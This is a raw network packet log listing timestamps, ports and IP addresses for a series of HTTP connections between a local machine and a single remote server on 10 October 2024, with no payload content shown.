Oct 10, 2024 21:01:49.442296028 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.902187109 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.902936935 CEST	49771	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:49.903222084 CEST	49771	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:49.908507109 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.908538103 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.908565044 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.908591986 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.908617020 CEST	49771	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:49.908622026 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.908646107 CEST	49771	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:49.908670902 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.908674002 CEST	49771	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:49.908698082 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.908724070 CEST	49771	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:49.908725023 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.908755064 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.908778906 CEST	49771	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:49.908782005 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.908806086 CEST	49771	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:49.908838034 CEST	49771	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:49.913088083 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.913193941 CEST	49771	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:49.913772106 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.913799047 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.913825989 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.913841009 CEST	49771	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:49.913873911 CEST	49771	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:49.913950920 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.913978100 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.914005995 CEST	49771	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:49.914031982 CEST	49771	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:49.914103031 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.914205074 CEST	49771	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:49.918337107 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.918431997 CEST	49771	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:49.918894053 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.918921947 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.918962955 CEST	49771	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:49.919121027 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.919317007 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.919495106 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.919573069 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.919712067 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.919739008 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.919765949 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.919878960 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.919905901 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.919951916 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.920026064 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.920052052 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.923578978 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.923605919 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.923702002 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.923749924 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.924361944 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.924388885 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.924434900 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:49.924462080 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.219208002 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.230845928 CEST	49771	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:50.236263990 CEST	80	49771	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.236329079 CEST	49771	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:50.432985067 CEST	49772	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:50.438776016 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.438859940 CEST	49772	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:50.439258099 CEST	49772	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:50.444638968 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.895783901 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.896683931 CEST	49772	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:50.897018909 CEST	49772	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:50.902704954 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.903424978 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.903454065 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.903486967 CEST	49772	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:50.903501987 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.903522968 CEST	49772	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:50.903528929 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.903548956 CEST	49772	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:50.903554916 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.903575897 CEST	49772	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:50.903579950 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.903609991 CEST	49772	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:50.903631926 CEST	49772	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:50.903633118 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.903659105 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.903685093 CEST	49772	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:50.903687954 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.903712988 CEST	49772	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:50.903738022 CEST	49772	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:50.907507896 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.907572031 CEST	49772	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:50.908853054 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.908902884 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.908907890 CEST	49772	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:50.908927917 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.908956051 CEST	49772	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:50.908989906 CEST	49772	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:50.909564018 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.909630060 CEST	49772	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:50.909637928 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.909689903 CEST	49772	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:50.909702063 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.909765005 CEST	49772	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:50.910195112 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.910263062 CEST	49772	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:50.910268068 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.910347939 CEST	49772	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:50.910612106 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.910679102 CEST	49772	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:50.912993908 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.913064957 CEST	49772	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:50.913742065 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.913791895 CEST	49772	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:50.913902044 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.914479971 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.914829016 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.915266037 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.915312052 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.916239977 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.916286945 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.917522907 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.917779922 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.917824984 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.917850971 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.917876959 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.917990923 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.919301987 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.919327974 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.919353008 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:50.919382095 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:51.197563887 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:51.208430052 CEST	49772	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:51.213773012 CEST	80	49772	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:51.213846922 CEST	49772	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:51.633465052 CEST	49773	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:51.638663054 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:51.638870955 CEST	49773	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:51.643230915 CEST	49773	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:51.648231983 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.260787010 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.261913061 CEST	49773	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:52.262201071 CEST	49773	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:52.268147945 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.268471003 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.268498898 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.268524885 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.268529892 CEST	49773	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:52.268553019 CEST	49773	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:52.268570900 CEST	49773	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:52.268579960 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.268632889 CEST	49773	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:52.268718958 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.268747091 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.268769979 CEST	49773	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:52.268773079 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.268796921 CEST	49773	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:52.268806934 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.268826962 CEST	49773	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:52.268834114 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.268863916 CEST	49773	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:52.268876076 CEST	49773	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:52.274190903 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.274251938 CEST	49773	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:52.274679899 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.274708033 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.274734020 CEST	49773	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:52.274759054 CEST	49773	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:52.274822950 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.274873018 CEST	49773	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:52.279881954 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.279908895 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.279936075 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.279961109 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.279987097 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.280013084 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.280038118 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.280065060 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.280066013 CEST	49773	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:52.280066967 CEST	49773	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:52.280091047 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.280117989 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.280128956 CEST	49773	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:52.280143976 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.280518055 CEST	49773	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:52.280698061 CEST	49773	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:52.285749912 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.285775900 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.285800934 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.285825968 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.285844088 CEST	49773	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:52.290523052 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.290549994 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.290575027 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.290600061 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.290626049 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.290651083 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.290677071 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.290702105 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.290726900 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.290752888 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.290777922 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.290803909 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.290829897 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.290854931 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.290879965 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.290905952 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.290930986 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.290956020 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.290981054 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.291007042 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.291032076 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.291057110 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.291081905 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.291110992 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.566441059 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.574574947 CEST	49773	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:52.580101013 CEST	80	49773	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.580159903 CEST	49773	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:52.755486012 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:52.760792971 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:52.760879993 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:52.775955915 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:52.781121969 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.226555109 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.227752924 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.227891922 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.233205080 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.233242035 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.233273029 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.233309031 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.233321905 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.233341932 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.233351946 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.233378887 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.233378887 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.233407974 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.233409882 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.233455896 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.233455896 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.233484030 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.233510971 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.233534098 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.233561993 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.237813950 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.237883091 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.238325119 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.238374949 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.238387108 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.238404036 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.238432884 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.238434076 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.238461971 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.238497019 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.238504887 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.238533020 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.238560915 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.238579988 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.238595963 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.238611937 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.238645077 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.238678932 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.238681078 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.238708973 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.238750935 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.238785028 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.238797903 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.238862991 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.243017912 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.243087053 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.243087053 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.243315935 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.243377924 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.243561983 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.243681908 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.243729115 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.243778944 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.243875027 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.243905067 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.243949890 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.243976116 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.244004011 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.244137049 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.244168043 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.244259119 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.244303942 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.244330883 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.244360924 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.244434118 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.244461060 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.244486094 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.244534969 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.244560003 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.244589090 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.248028040 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.248471975 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.248498917 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.248528004 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.248553991 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.555418015 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.565207005 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.572725058 CEST	80	49774	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.573287010 CEST	49774	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.692122936 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.697206974 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:53.700474977 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.701045990 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:53.705930948 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.178307056 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.228312016 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.421572924 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.421845913 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.426717997 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.426929951 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.426958084 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.426986933 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.426989079 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.427073002 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.427073002 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.427268982 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.427319050 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.427326918 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.427346945 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.427372932 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.427375078 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.427402973 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.427417040 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.427447081 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.427484035 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.427711964 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.427762985 CEST	49775	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:54.431643963 CEST	80	49775	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:54.431715012 CEST	49775	80	192.168.2.4	104.21.59.199
